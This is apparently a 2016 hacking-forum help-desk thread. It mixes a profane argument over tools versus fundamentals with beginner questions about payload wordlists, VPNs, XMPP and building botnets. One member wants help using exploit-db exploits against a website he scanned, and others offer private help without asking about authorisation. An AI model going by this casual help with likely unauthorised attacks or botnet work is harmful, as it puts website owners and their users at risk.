Don't believe me about the logs? Make a website, open logs and see how god-fucking-retarded Nikto is. It was last updated 4 years ago, but it looks like 20.

Don't let tools replace your mind. Actually you specifically I don't care about, but don't let others have their brain replaced. We are so much more than that. All of us, all of you. Whoever reads this deserves to reach a much higher skill ceiling rather than simply calling tools with arguments.

To answer that question: If somebody wants to scan a website, he should learn HTML CSS JS PHP SQL for start then delve into HTTP protocol, do challenges and read pentesting papers and not that shit book. Read reports, DO USE TOOLS BUT WITH A BRAIN, git gud with more challenges and then scan that website. Don't want to do that? Use the tool to get subpar results, or pay an actually

serious lad a good amount of money (Better be out of HF though).

--

Wishing Faith good luck with this. You know what you're in for. My vacation ends tomorrow, even though I'd rather have you make a better usage of your time I still value what you're trying to do here. I mean, you did last longer than I expected. Onwards with the type-3 cancer, and bye :)
I feel like I know who you are. But that must be impossible because you are a new user ;^)

But very well explained. I learn something new every time we speak.

Aakash_Choudhary - October 24, 2016, 9:29 pm

I have a question

Which is best to choose among these :->

1. fuzzdb -> <https://github.com/fuzzdb-project/fuzzdb>
2. seclists -> <https://github.com/danielmiessler/SecLists>
3. intruderPayloads -> <https://github.com/1N3/IntruderPayloads>

JumbleoJumbleo1 - October 24, 2016, 11:35 pm

what program would you say is easiest to learn off?

Asdethprime - October 24, 2016, 11:54 pm

Hi semendaemon,

I am a bit confused. First a whole long rant about how hacking is an art and not science is pretty nice and all but I am confused to why you decided to pour that out.

While yeah I absolutely agree that manually inspecting for vulnerabilities is a far better tactic than running a vulnerability scanner; how about you try within a reason bound to explain a new user how to search for every vulnerability manually?

Come on this is a BEGINNERS help desk. I have never asked people to shy away from creativity or learning programming. But while it is very easy to say I can spend 20 mins to find vulnerability on a website than what an automated software would do in 2 mins; but explaining exactly the steps you are going to take to find every single one of the vulnerabilities to a new user would most likely have their head explode.

There is nothing wrong with people suggesting use tools to begin to learn how to hack and regardless of what anyone says, I stand by my view. Though I will say, and have always said, you need to know:

- 1) What does it do?
- 2) How does it do it?
- 3) What does everything there mean?

Sure you eventually want to be a hacker who can make tools on your own; you eventually want to be a hacker who can manually look for vulnerability. A pro-hacker will not use an automated network scanner; no argument there.

But here's the thing I am surprised, you think a pro-hacker would log into hackforum.net into a beginner help desk to ask a question?

I mean come on.

As per you wanting to tear my arguments apart, you are most welcome to do so. I am myself

learning. I am never pretended to be a super awesome badass hacker or whatever; I have always identified myself as someone relatively new to the hacking community though not a complete newbie by any stretch of imagination.

If you are going to say don't use Nikito manually find vulnerability I am going to ignore your reply. But if you go even further and say, don't use Nikito manually do this and this and this and this to check for these vulnerabilities, then I would simply tip my hat and thank you for the information. Should there be something you mention that I have no idea about, I would love that and go around learning more about it till I can get a good understanding of it and know how to do it properly that's how you learn.

ANY AND ALL POSITIVE CRITICISM ARE MOST WELCOME. Criticism is crucial for learning. I welcome every one of it. But just don't sit there and whine about how people are losing creativity. What do you think of hackforum member; do you see them as mere sheeps who would follow anyone blindly. Sure if you can suggest them a method that works better than someone else; I see no reason why everyone would not simply follow you.

But if all you do is whine about creativity, structural breakdown of required step etc, than that's not helpful. It's just what it is just you being a cry baby.

Don't be a cry baby, if you believe you are more knowledgeable than other member in the forum, don't go around calling them mean name, go around helping them learn. Share your ideas.

It's not always possible for someone who is new to hacking to magically be able to create every advance tactics off the bat. The process is learning, checking if something work and should it not doing more research to finding out something that works.

I am not creating a hive-mind, I believe you are a you are directly vindicating a different approach to learning, learning by attempt things.

Are you really telling me you can't learn how to hack by using tools, understanding how they work, seeing in any know vulnerability exists, then looking for other known vulnerabilities on exploit databases, learning programing to understand those vulnerabilities and doing research on a need to know basis.

It's tempting to say learn assembly language, learn programing language (c#, c , c++, java, python); then learn networking protocol (TCP, IP, UDP, TELNET, SMTP, ARP etc etc). But when will you stop. There are so many programming languages out there, and many many more protocols.

You really think you tell someone trying to learn hacking to spend the next 4/5 year learning protocols and programming language before you begin to hack; they aren't going to run away scared?

A better way let them use tools, let them learn how the tools work, let them see what they discover. If they find FTP , a particular version of VSFTPD, on a network and that's what they want to exploit, they would learn that particular protocol VSFTPD. When they come across another protocol they want to exploit they could learn.

When you know none of the common vulnerability exists, then you go around checking for known vulnerabilities in exploit databases, then you can learn what programming language the said exploit is written on. You can even minimize your learning task to learn only the command used.

I have NEVER discouraged people from learning new things; all i ask though is just don't try and

learn EVERYTHING; let what you need as you come across it. If you never come across a TELNET port in your entire hacking journey, no point learning about it. You are not aiming to be a teacher, you are aiming to be a hacker.

That's my perspective and I stand by it. However if anyone is kind enough to give me a positive feedback in regards to my approach feel free to do so and I would thank you for it. I have nothing to hide, and I have no reason to fight someone trying to teach me. At the same time I have no reason paying attention to people who only like to point flaws but NOT OFFER A SOLUTION. Offer a practical solution, I will listen to you. Subsequently, if anyone then asks me how you learn hacking, I will ALWAYS relay them the method that I think works best. If you can change my mind in regards to what method works best; OR BETTER YET offer a feasible solution to other users they will listen to you. Don't just go on ranting and swearing, add productive feedback

Regards,
AsdethPrime

semendaemon - October 25, 2016, 3:23 am

(Oct 24, 2016 11:54 PM)Asdethprime Wrote: [\[CITE\]](#) [post]It was 5AM and booze was involved so the underhanded insults aren't meant to be taken seriously. I don't want to add productive feedback because I don't see you becoming productive in the first place, I enjoy ranting and frustrating out. I can't actually get myself to write another lengthy comment, I'll just recommend you re-read my comment and see just how far away you are from my point, really. And, like, this is the whole issue: You're so clueless about what you're not knowing hence I can't even explain it, because you're in your mind have already fixated towards what you already know. The tool complaint wasn't my main point, my main point was that you're talking to hacking and pentesting as synonyms. In the post of "Downloading linux", this is what I'm talking about - You didn't bother to talk about all the other types of hacking. Not a single mention. Everything you've listed in this thread in regards to beginners is pre-assume they want to know about pentesting, while that's not true. They want to know what's more out there and then decide for themselves, and you've failed in supplying the real demand.

>all i ask though is just don't try and learn EVERYTHING

No, that's exactly what you should be doing. Every single decent hacker I've met started by literally learning everything, then settling down for the things he liked the most. Yet again you show your incompetency, and for the first time I'll say sorry because here I'm not offending and I actually mean it.

Hacking is about curiosity and creativity. Yes, you fail this. You're failing to discuss the passion, the fun, the process of finding out and figuring out, you're missing all of that. You give them a list, tell them to download linux, tell them to read vulnerabilities, and off they go. This disgusts me honestly.

And I got more of these examples. Practically your entire post, but we can continue. You don't have passion, do you? When I started out, I learned everything. 7 years later, I still do. I want to keep learning 30 years from now.

Quote:It's tempting to say learn assembly language, learn programming language (c#, c , c++, java, python); then learn networking protocol (TCP, IP, UDP, TELNET, SMTP, ARP etc etc). But when will you stop. There are so many programming languages out there, and many many more protocols. If you're any good, you will never stop. Learners never stop learning. This is what's cool about hacking, you never actually know anything.

Why does this scare you? What's the issue of never stopping learning? Is it something bad?

From what I see, you see hacking as a learning curve that ends. You learn XYZ then you can start hacking. But your hacking isn't my hacking. Your hacking is breaking into things illegally, my hacking

is creating beauty with computers. Could very well be that I'm wrong and forever will be, but I'll still make sure the other side of the coin will be heard and those that seek for more might just get to read this.

Quote: you see them as mere sheep who would follow anyone blindly. Sure if you can suggest them a method that works better than someone else; I see no reason why everyone would not simply follow you. To anyone starting out, I've always had one mission to give. Close this forum, google what interests you and go from there. Don't listen to me or any other idiot about how to start, just start. You'll figure out the "how" in your process, just keep going and research absolutely everything you come across. That's my way - They learn by having absolutely nothing and getting themselves to know everything. They will figure out for themselves what distribution, what tools, what programming languages, what everything. They're not idiots, they're people aspiring to learn hacking. If they fail to get where they want - They weren't meant to learn this. Ezpz.

so yes, TL;DR

1. stop thinking that hacking means the same word as pentesting, you're misleading people. hacking has at least 10 more fields, not just that one

2. stop thinking these people need a structured way to learn, because you have no idea what they actually want to learn and any structure you will come up is going to be as awful as the one you've already written. going back to point number 1, you can't account for all interests, but you failed at least mentioning there are more.

3. stop assuming I'm here for the good of all, that I'm soon going to be helping around. My approach is very different to people seeking help: I don't believe 95% of them deserve it. I'd rather throw them all in a pile and help the 3 guys that manage to come out. The self discipline and motivation required to actually get good is something that the overwhelming majority lacks thus I refuse to waste my time.

Oh, and I prefer tearing down those that do have an interest in helping. Do you know about Big-Oh-Notation? it's a way of explaining optimization within given tasks. If I give my help to members of the forum, I'll work $O(n)$. If I'll fix whatever tinsy little hope I got in having you post quality advice, I'll work $O(1)$ and have the same result. It's more efficient and my time's little.

Faith Connors - October 25, 2016, 4:18 am

(Oct 24, 2016 11:54 PM)Asdethprime Wrote: [\[CITE\]](#) Snip

I'm just gonna say, don't try to pick a fight with him. You won't win. Trust me.

Don't worry, I'm not exempt from him either, he won't hesitate to rip me apart if I'm wrong or he disagrees with me or whatever

Asdethprime - October 25, 2016, 4:37 am

Hi semendaemon,

It being 5am in the morning or booze isn't really a reasonable excuse for insulting someone but hey I am pretty thick skinned and it doesn't really bother me.

What I am however a bit surprised is how presumptuous you are. You concluded that I am clueless, don't have drive to learn, and a lot of rant in the same manner as the last post without actually giving a viable suggestion.

You see this is exactly what is referred to as "ad hominem".

I never said there is anything wrong with continuing to learn, I have never advised anyone to stop learning. However, what I have been arguing and will continue argue is that merely learning vs

actually see some concrete output help to learn.

You are my view differs in the rational of things. You see hacking as an art, I see it as something different, a science. A science of figuring out what will happen if you ask a machine to do something that it is not designed to do. Will it crash, give a standard output as it should or will it give you a non-standard output , i.e. something other than what it was designed to do.

I am also rather baffled by your complain that I tell people to do certain things and leave. For that to be considered a complain I am rather bemused to how you see normal users of hack forum as. Do you see them as sheep that will only do what they are asked to do?

As you mentioned hacking is about curiosity, which includes being curious about why a certain command was recommended, why a certain tool was used, how the tool worked, how did the tool give the output it gave, if the tool did not work why it did not work. You see if you take the tools, then ask yourself things question that opens a lot of path to learn.

Also don't get me wrong, I never said you should not learn but learn things as a need to know basis.

Here let me try and explain myself, if you are trying to say perform a ARP poisoning, then yes learn how ARP works, learn what vulnerability it has, why does it have those vulnerability, maybe it has some other vulnerability other than what has been known. That curiosity should come naturally.

You see I am neither feeding them what to do, nor confining them to what and how they should go about doing anything. All I am doing is giving my OPINION and my suggestion on how the said problem could be tackled. I have never presumed my way was the only one out there.

Now in regards to the things you said like: stop thinking what hacking is and isnt; what people want and don't want; my answer is rather simple. I am bound by your rule. I shall keep doing what I am doing.

If that bothers you, well you have 3 options:

- 1) Continue to rant like a cry baby as you have been doing
- 2) Go cry to your mommy
- 3) Maybe step up and teach people better ways.

Lastly your presumption is 95% of people here don't deserve help. Good for you, I don't believe that. If anyone asks a question and it is within my power to answer I will. Whether they confine themselves to what i say, whether they do further research, whether they whine and cry like a cry baby or whether they ignore it is entirely upto them.

If anything I have said is incorrect, you or anyone else is welcome to correct me; those valid correct I will assure you I shall take in, thank you and next time the same topic comes up I will suggest them ideas with the said correction.

Else if you keep rating, all I am going to is keep replying till i get bored and stop replying. You can't tell me what to do and what not to do; nor can i tell you want to do and what not to do.

What I can however do is giggle at your ranting and reply if I have time and ignore it if i don't have time.

So yeah, if my action bothers you so much well you can cry me a river.. or you know do whatever it is you do, rant, pull your hairs the options are plenty.

Have fun, I would love to check it out to see if you have a valid suggestion, if you do I shall accept it; but if it comes out as a complete rant I shall ignore it.

And just for the record, this is how I see things:

1) Learning how to use tools makes you a script kiddie, nothing wrong with that other than NOT TO STOP HERE

2) Mastering the tools you use makes you a PENTESTER, natural progression of event.

3) Going beyond what mere tools can do, making your own tools and exploits makes you a HACKER.

But i see it as a systematic progression and would advise people accordingly.

I do not know where you are from, nor am I really interested, but I am going to guess people in class 1 and 2 are simple books with ABCD to learn rather than actual journals so they can understanding everything and create their own language for communication.

I see hacking as the same thing.. too bad you don't like it.. because you see the person who does not like it is YOU.. so whose problem do you think it is? And who do you think should do something about it?

Because if your version of doing something about it is just ranting and complaining then well good for you... not very effective... but well if that lets you sleep peacefully at night so be it =)

(Oct 25, 2016 04:18 AM)Faith Connors Wrote: [\[CITE\]](#) I'm just gonna say, don't try to pick a fight with him. You won't win. Trust me.

Don't worry, I'm not exempt from him either, he won't hesitate to rip me apart if I'm wrong or he disagrees with me or whatever

Hi Connors,

Not sure where a win or lose idea is coming from or the idea of him ripping anything. All he/she has done is complain and nothing else.

There is no argument that either the command specified, the tool specified, or the documents listed were incorrect. I mean read the reply again, all he's said is my method of teaching people is INCORRECT. How is that akin to an argument or winning escapes me for the moment.

You are merely presuming he is ripping anyone's argument, because it's not an argument, it just a one sided complain. Honestly, I am enjoying myself here.

And please don't be offended but what you think I should and should not do is not going to dictate what I end up doing. In regards to being scared of someone, here's a cool fact, unless the person is capable of hacking into the very server of hack-forum he won't even be able to figure out my IP. Not to mention I could freely give him out I am IP and throw a open challange for him to hack me.

You see hacking does not work the way you think; nor is there a reason for me to be scared. I don't brag but I am not someone who has to be scared of anyone hacking skills on hackforum.

But hey thanks for the suggestion, appreciate it =)

semendaemon - October 25, 2016, 5:11 am

(Oct 25, 2016 04:37 AM)Asdethprime Wrote: [\[CITE\]](#) [post]

Quote:It being 5am in the morning or booze isn't really a reasonable excuse for insulting someone but hey I am pretty thick skinned and it doesn't really bother me. Oh don't worry, I don't actually give

a shit about your feelings. I like to give background to why I could sound so whiny.

Quote:What I am however a bit surprised is how presumptuous you are. [...] actually giving a viable suggestion. Giving a viable suggestion? My two posts are one giant viable suggestion: Focus more about the philosophy, the other aspects of hacking, and don't be so fixated.

Quote:You see this is exactly what is referred to as "ad hominem". Ignoring the fact that pointing a fallacy in an argument is actually the fallacy-fallacy. (en.wikipedia.org/wiki/Argument_from_fallacy) I know my rhetorics too, I just don't bother to make a sensible argument when I'd rather have fun instead.

Quote:I never said there is anything wrong with continuing to learn, I have never advised anyone to stop learning. However, what I have been arguing and will continue argue is that merely learning vs actually see some concrete output help to learn. Concrete output isn't entitled to come out in one form. Besides, patience is as important of a virtue as any other trait. Why are we going back to the this point? I've already said that I have less issues with your presentation of pentesting, it's FINE, I have more issues with you presenting pentesting as hacking while leaving nothing more.

Quote:You are my view differs in the rational of things. You see hacking as an art, I see it as something different, a science. A science of figuring out what will happen if you ask a machine to do something that it is not designed to do. Will it crash, give a standard output as it should or will it give you a non-standard output , i.e. something other that what it was designed to do. Yeah, but you still do a very poor job of displaying that science, because that science has many more routes and fields and you've only painted one as the whole package. Which is, like, the whole essence of my whinings.

Quote:I am also rather baffled by your complain that I tell people to do certain things and leave. For that to be considered a complain I am rather bemused to how you see normal users of hack forum as. Do you see them as sheep that will only do what they are asked to do? Yes. Which is a product of their surroundings. Some of which, is you.

Quote:As you mentioned hacking is about curiosity, which includes being curious about why a certain command was recommended, why a certain tool was used, how the tool worked, how did the tool give the output it gave, if the tool did not work why it did not work. You see if you take the tools, then ask yourself things question that opens a lot of path to learn. You're not doing a very good job of conveying that. If you were, I'd bitch less. You're telling things as they are, you're not leaving options or question marks or any bullet points that would be thought provoking.

Quote:Also don't get me wrong, I never said you should not learn but learn things as a need to know basis. The basis will never be the tools. They can be integrated to get the "Wow" affect, but feeding them at the start is awful. Learning by doing is one way, but make sure to actually paint the limitations of which doing without exploring will get you. Add more depth to why people should actually go beyond the call of duty, because your posts here while not discouraging further learning, are not encouraging it either. No, reading packetstorm isn't further learning, that's where they literally get their attacks from.

Quote:Here let me try and explain myself, if you are trying to say perform a ARP poisoning, then yes learn how ARP works, learn what vulnerability it has, why does it have those vulnerability, maybe it has some other vulnerability other than what has been known. That curiosity should come naturally. If the curiosity would come naturally, this section wouldn't have looked like this. Curiosity does not come naturally. It could be an aspiration or a by product though.

Quote:You see I am neither feeding them what to do, nor confining them to what and how they

should go about doing anything. All I am doing is giving my OPINION and my suggestion on how the said problem could be tackled. I have never presumed my way was the only one out there. Yeah and my opinion is that yours is bad, which is why I reply. I wouldn't have bothered if I saw people aren't taking you seriously, but they are - so I do. They shouldn't.

Quote:1) Continue to rant like a cry baby as you have been doing

2) Go cry to your mommy

3) Maybe step up and teach people better ways. I'd rather continue ranting on your posts, it's fun. You're breeding advanced skids. You're failing at conveying the spectrum of hacking while only being able to explain the (very) little you know, and it shows. And it offends me, because while they're sheep these users can actually grow out of their mentality and become smarter if you'll make better content that actually encapsulates well what hacking is and what it has more to offer.

Quote:Lastly your presumption is 95% of people here don't deserve help. Good for you, I don't believe that. If anyone asks a question and it is within my power to answer I will. Whether they confine themselves to what i say, whether they do further research, whether they whine and cry like a cry baby or whether they ignore it is entirely upto them. You can continue creating skids, I'll be on my own thing and attempt to claw my way and pull one or two out of it. :)

Quote:If anything I have said is incorrect, you or anyone else is welcome to correct me; those valid correct I will assure you I shall take in, thank you and next time the same topic comes up I will suggest them ideas with the said correction. While a lot of my writings are just basically insults, I've made objective points and pls do take them seriously. It's not the first time you're writing stupid things, not the tenth time.

Quote:1) Learning how to use tools makes you a script kiddie, nothing wrong with that other than NOT TO STOP HERE

2) Mastering the tools you use makes you a PENTESTER, natural progression of event.

3) Going beyond what mere tools can do, making your own tools and exploits makes you a HACKER. Wrong. Pentesting is just a field, stop thinking pls you're bad at this oh my lord save me pls. This is what I've been trying to say this whole thread page.

Pentesting is offensive networking security. THIS IS IT. That's it! How many times do I fucking have to tell you before you'll get it through your skull? Pentesting is literally just a field within a list of fields all going under the umbrella term of Computer Security. You're not a pentester if you're writing malware. You're not a pentester if you're hacking website applications (Though this one is debateable, if you're only staying on HTTP You're an AppSec guy not a pentester)

My issue, is that you're giving somewhat-ok advice at becoming a somewhat-ok pentester AND YOU'RE CALLING THAT HACKING. No, that's pentesting. It could be hacking in computer security notation of that word ("Hack somebody, get hacked") but hacking as the same umbrella term, has pentesting under it = not equal to it.

Quote:Because if your version of doing something about it is just ranting and complaining then well good for you... not very effective... but well if that lets you sleep peacefully at night so be it =) It's more about me having fun while being somewhat educational. You're deluding others, I'm pointing your BS, and so it continues.

(Oct 25, 2016 04:37 AM)Asdethprime Wrote: [\[CITE\]](#) Hi Conners,

Not sure where a win or lose idea is coming from or the idea of him ripping anything. All he/she has done is complain and nothing else.

There is no argument that either the command specified, the tool specified, or the documents listed were incorrect. I mean read the reply again, all he's said is my method of teaching people is INCORRECT. How is that akin to an argument or winning escapes me for the moment.

You are merely presuming he is ripping anyone's argument, because it's not an argument, it just a one sided complain. Honestly, I am enjoying myself here.

And please don't be offended but what you think I should and should not do is not going to dictate what I end up doing. In regards to being scared of someone, here's a cool fact, unless the person is capable of hacking into the very server of hack-forum he won't even be able to figure out my IP. Not to mention I could freely give him out I am IP and throw a open challange for him to hack me.

You see hacking does not work the way you think; nor is there a reason for me to be scared. I don't brag but I am not someone who has to be scared of anyone hacking skills on hackforum.

But hey thanks for the suggestion, appreciate it =)

Quote:Not sure where a win or lose idea is coming from or the idea of him ripping anything. All he/she has done is complain and nothing else. Users with a brain read arguments and gain knowledge. Even if I didn't know I was right I'd still question your guidelines and have you justify them to me so first I'd know second the rest would know. Question everything.

Quote:There is no argument that either the command specified, the tool specified, or the documents listed were incorrect. I mean read the reply again, all he's said is my method of teaching people is INCORRECT. How is that akin to an argument or winning escapes me for the moment. You were assuming pentesting was discussed or asked, while the thread discussed hacking. Hacking encapsulates pentesting, it's only a single field. You can't do that, you basically imply all the other fields don't exist.

Quote: You are merely presuming he is ripping anyone's argument, because it's not an argument, it just a one sided complain. Honestly, I am enjoying myself here. Arguing about opinions is still arguing. Yours is shit, here's why.

Quote:And please don't be offended but what you think I should and should not do is not going to dictate what I end up doing. In regards to being scared of someone, here's a cool fact, unless the person is capable of hacking into the very server of hack-forum he won't even be able to figure out my IP. Not to mention I could freely give him out I am IP and throw a open challange for him to hack me. What does that have to do with anything? You're awkward, stop it. Plus, I'm not allowed to do anything under NDA regulations nor I actually intend to do something. I'm simply here to call out idiots, it's fun.

Asdethprime - *October 25, 2016, 5:31 am*

LOL

so now the complain is my teaching method is bad because I don't explicitly tell people to RESEARCH MORE and you don't like it and your resort to that is what crying your lungs out as a cry baby.

So i am an idiot for trying to help people out; and you are a super genius for complaining loads and refusing to help.

Yep sounds fantastic.

You know what, here have a cookie.

Hehe

Oh and taking your advice what I plan to do is eventually get a signature that says " PLEASE DO

FURTHER RESEARCH.... PEOPLE ARE CRYING THAT I AM EVIDENTLY BREEDING ADVANCE SCRIPT KIDDIES --- I am a motherly figure on hackforum"

With all that's said and done I am still having trouble figuring out why being a motherly figure on hackforum is a bad things.. that one I am gonna take as the biggest compliment anyone has given me here.

HEHE thank you.. and here have one more cookie.. hope you die of diabetes from fictional cookies.... HEHEHEHEH

Faith Connors - October 25, 2016, 6:01 am

Guys, don't make a scene. This thread isn't your personal boxing ring. Yall wanna duke it out? Take it to the PMs or somewhere off-site.

(Oct 24, 2016 09:29 PM)Aakash_Choudhary Wrote: [\[CITE\]](#) I have a question

Which is best to choose among these :->

1. fuzzdb -> <https://github.com/fuzzdb-project/fuzzdb>
2. seclists -> <https://github.com/danielmiessler/SecLists>
3. intruderPayloads -> <https://github.com/1N3/IntruderPayloads>

IntruderPayloads hasn't been updated for about 5 months now. It could potentially be outdated, but it still has some good content there.

FuzzDB has much more and is just a lot better in general.

SecLists is maintained by members of OWASP so I would trust them the most.

To be honest they do have a lot of similar stuff in them, but SecLists is what I would go for.

(Oct 24, 2016 11:35 PM)JumbleoJumbleo1 Wrote: [\[CITE\]](#) what program would you say is easiest to learn off?

Uhh, what exactly are you asking?

Like what what program as in course to take to learn more about this stuff? Start with the CompTIA ones to get a better understanding of computers in general and how stuff works. So A+, Networks+ then Security+. You can find video lectures online at cybrary.it for free, but the books are exponentially better IMO. Really detailed and they even tell you certain things that will be on the exam to help you out.

Once you get through CompTIA, I'd go for CEH just because it's really easy and you might pick up on a few things that you didn't know. It is, however very conceptual. Don't think you're gonna be a l33t h4ck3r just because you completed it. You won't be, and likely you won't know where to start. So just keep learning. Pick a field in hacking, learn more about it. Learn everything you can. If you have more free time or some infosec experience as a job, then maybe you'd want to go for CISSP. If you have money, go for OSCP.

If you meant what program to "learn hacking" as an application that will hack everything for you,

1. You have to be specific what you want to do. There isn't a Watch_Dogs phone app that will hack streetlights for you or break into your ex's facebook account.
2. You're a major skid as you still likely won't learn anything.

Asdethprime - October 25, 2016, 6:03 am

Oops sorry about that Connors, won't comment further.

Apologies for the inconvenience =)

Faith Connors - October 25, 2016, 9:01 am

Bumping back up as its about to hit page 2

SilentkillarHF - October 25, 2016, 9:32 am

Would someone be able to help me privately? I have a few questions about vulnerabilities. Also I scanned a website and found a shitton of vulnerabilities, where I looked on exploit-db afterwards. I found exploits for the vulnerabilities, but I'm not sure how to use the exploit :S. Help is appreciated! :)

- SilentkillarHF

Faith Connors - October 25, 2016, 9:39 am

(Oct 25, 2016 09:32 AM)SilentkillarHF Wrote: [\[CITE\]](#) Would someone be able to help me privately? I have a few questions about vulnerabilities. Also I scanned a website and found a shitton of vulnerabilities, where I looked on exploit-db afterwards. I found exploits for the vulnerabilities, but I'm not sure how to use the exploit :S. Help is appreciated! :)

- SilentkillarHF

If it's not listed in the disallowed blackhat stuff then you can post it here.

But if you really wanna talk privately my XMPP is in the OP.

? [\$(1000)\$] ? - October 25, 2016, 9:40 am

I am online and able to assist anyone.

SilentkillarHF - October 25, 2016, 10:11 am

(Oct 25, 2016 09:39 AM)Faith Connors Wrote: [\[CITE\]](#) If it's not listed in the disallowed blackhat stuff then you can post it here.

But if you really wanna talk privately my XMPP is in the OP.

I'm not sure what XMPP is, and on your profile I need my account upgraded to access it.

(Oct 25, 2016 09:40 AM)? [\$(1000)\$] ? Wrote: [\[CITE\]](#) I am online and able to assist anyone.

I would love some help from you, how can I contact you privately?

Also, I'm not liking blackhat hacking, I'm more like a greyhat. I wanna learn about this mostly for educational use ;)

Faith Connors - October 25, 2016, 10:20 am

Well if you want to, you can PM either of us. And you don't need to be upgraded to use XMPP, only to sign up for the sites Xmpp. I use XMPP.jp but others use other providers like crimin.al or blah.im. It's definitely safer than most email providers and skype.

But of course you can always PM us if it's not disallowed.

SilentkillarHF - October 25, 2016, 10:40 am

(Oct 25, 2016 10:20 AM)Faith Connors Wrote: [\[CITE\]](#) Well if you want to, you can PM either of us. And you don't need to be upgraded to use XMPP, only to sign up for the sites Xmpp. I use XMPP.jp but others use other providers like crimin.al or blah.im. It's definitely safer than most email providers and skype.

But of course you can always PM us if it's not disallowed.

I contacted you on PM, sir :)

- Silent

TALDRAKS - October 25, 2016, 11:51 am

Oh boy, those beef post sure took a while to read.

My newbie question, that I wanted to ask is, do people use any kind of proxy or anything to browse safely (especially when saying, google how to create malware and scanning sites).

Also, your computer can't really be fully hack-proof since there are so many factors, but does anyone recommend any particularily effective anti virus programs and such?

Finally, I only just heard of xmpp and am just using Gmail cause it's apparently the most safe (popular) mailing service but I'm pretty sure that's only cause of some old hackathon that it won in.

? **[(1000)\$]** ? - October 25, 2016, 12:12 pm

(Oct 25, 2016 11:51 AM)TALDRAKS Wrote: [\[CITE\]](#) Oh boy, those beef post sure took a while to read.

My newbie question, that I wanted to ask is, do people use any kind of proxy or anything to browse safely (especially when saying, google how to create malware and scanning sites).

Also, your computer can't really be fully hack-proof since there are so many factors, but does anyone recommend any particularily effective anti virus programs and such?

Finally, I only just heard of xmpp and am just using Gmail cause it's apparently the most safe (popular) mailing service but I'm pretty sure that's only cause of some old hackathon that it won in.

Use a VPN.

I use Qiho360 and Zenma

Yes XMPP with the plugin OTR is good. I personally use disposable emails.

Lante - October 25, 2016, 12:38 pm

Thanks for including my thread and good luck with this helpdesk.

Faith Connors - October 25, 2016, 12:40 pm

(Oct 25, 2016 12:38 PM)Lante Wrote: [\[CITE\]](#) Thanks for including my thread and good luck with this helpdesk.

I remembered the time when "surelyenough" harassed us and while I'm taking it to heart for this thread, I also remembered it was at the same time you made that thread. So I decided to include it as well :^)

(Oct 25, 2016 11:51 AM)TALDRAKS Wrote: [\[CITE\]](#) Oh boy, those beef post sure took a while to read.

My newbie question, that I wanted to ask is, do people use any kind of proxy or anything to browse safely (especially when saying, google how to create malware and scanning sites).

Also, your computer can't really be fully hack-proof since there are so many factors, but does anyone recommend any particularily effective anti virus programs and such?

Finally, I only just heard of xmpp and am just using Gmail cause it's apparently the most safe (popular) mailing service but I'm pretty sure that's only cause of some old hackathon that it won in.

Yeah I'll give my take on it too.

Yes, but they don't use a proxy, as most proxies keep logs, first of all, and most are transparent to some degree, meaning you could potentially find out where the original (your) IP is coming from and what it is. So people use VPNs instead as they don't only route your browser's traffic, it'll route all the traffic from your computer entirely, unless you specify a rule that stops it from doing that. Also it'll encrypt all your data so no one will know what you're doing and who you are. So not only will you be able to browse securely and privately, but Skype, Steam, any games, your torrent client, messenger apps, all of that will go through the VPN as well and it'll be a lot safer.

For antiviruses, I'm using ESET right now as it's extremely paranoid so it catches anything that looks even remotely fishy. Two problems it has is that first of all it's paid, so for someone with no

money it's not a great idea. Second of all it's very resource consuming. So the best free AV I've found that picks up on a lot of stuff, isn't intrusive and doesn't eat up all your CPU/RAM all the time is Avira. Used it for a long time and it picked up on a shit ton of stuff.

And XMPP isn't quite the same as email, it stands for eXtensible Messaging and Presence Protocol. So it's an instant messaging service. It already is super secure and most server software is open source, but servers also (generally) encrypt all the data going through them and don't let the other party see any info from the partner. So if we talked on Skype, which uses P2P, I could find your IP and all kinds of info from your profile, but on XMPP you can only find my ID (the email looking thing) and my profile picture. Anything else is something I would give you, any personal info and stuff like that. So yeah, it's pretty secure compared to almost all other messaging apps. (Admittedly I know a few that are probably a little better than XMPP, but XMPP is simple to use so that's what we use primarily here for talking securely and privately.)

Email is almost never safe, and I say almost because I only know of two providers that actually care about the anonymity and privacy of their users and won't sell data. Those two providers are ProtonMail and SIGAINT. ProtonMail is clearnet and have a stupid amount of encryption, but SIGAINT is what journalists/activists use to communicate securely. You can only access your mail over TOR. The reason GMail is said to be safe is that they support encryption, are incredibly hard to crack, put all emails through their server, hide the sender's info (unless they also use gmail) and more. But Google has been known to sell information in the past, so I wouldn't trust them.

Gerges - October 25, 2016, 1:14 pm

Hello, It's been a while since I've posted on HF but now I'm kinda back.

My question for you is:

Do you have an guide to Building / Understanding a Botnet? I don't want a guide to setup a script and then infect people. I want to know more about how and works. I've seen an ebook like 2-3 years ago called building a botnet from scratch but IDK if that is outdated or useful anymore.

Faith Connors - October 25, 2016, 1:33 pm

(Oct 25, 2016 01:14 PM)Gerges Wrote: [\[CITE\]](#) Hello, It's been a while since I've posted on HF but now I'm kinda back.

My question for you is:

Do you have an guide to Building / Understanding a Botnet? I don't want a guide to setup a script and then infect people. I want to know more about how and works. I've seen an ebook like 2-3 years ago called building a botnet from scratch but IDK if that is outdated or useful anymore.

It probably would still be fine, not much has changed. A botnet is still just a network of computers connected to one host that controls what they do, usually to DDoS something.

If you want to build one from scratch, I would actually take a few minutes to see how the scripts are built and how you would host one. Will give you a better understanding of what exactly is going on. Also, the Mirai botnet (botnet of the Internet of Things) is getting a lot of attention from the news and media, so it would be good to research and look into that.

Of course networking plays a massive part in creating and maintaining a botnet so I'd really get educated about all that. Check out CompTIA's Networks+ course, you can have a look at it for free on cybrary.it but you'll probably learn a ton.

But yeah, I don't really have some kind of guide that you can just open up and read and overnight you'll be able to build your own botnet and infect tons of people.

Infinity. - October 25, 2016, 10:39 pm

(Oct 25, 2016 01:14 PM)Gerges Wrote: [\[CITE\]](#) Hello, It's been a while since I've posted on HF but

now I'm kinda back.

My question for you is:

Do you have an guide to Building / Understanding a Botnet? I don't want a guide to setup a script and then infect people. I want to know more about how and works. I've seen an ebook like 2-3 years ago called building a botnet from scratch but IDK if that is outdated or useful anymore.

By building a botnet you mean coding one from scratch? OH boy, you need to learn about C/ASM. How windows internals work. Get a popular botnet's source code and understand how it is coded. What functions are responsible for carrying out a particular task. You'll get better at the language itself aswell learn some botnet development along the way??

Gerges - October 26, 2016, 12:12 am

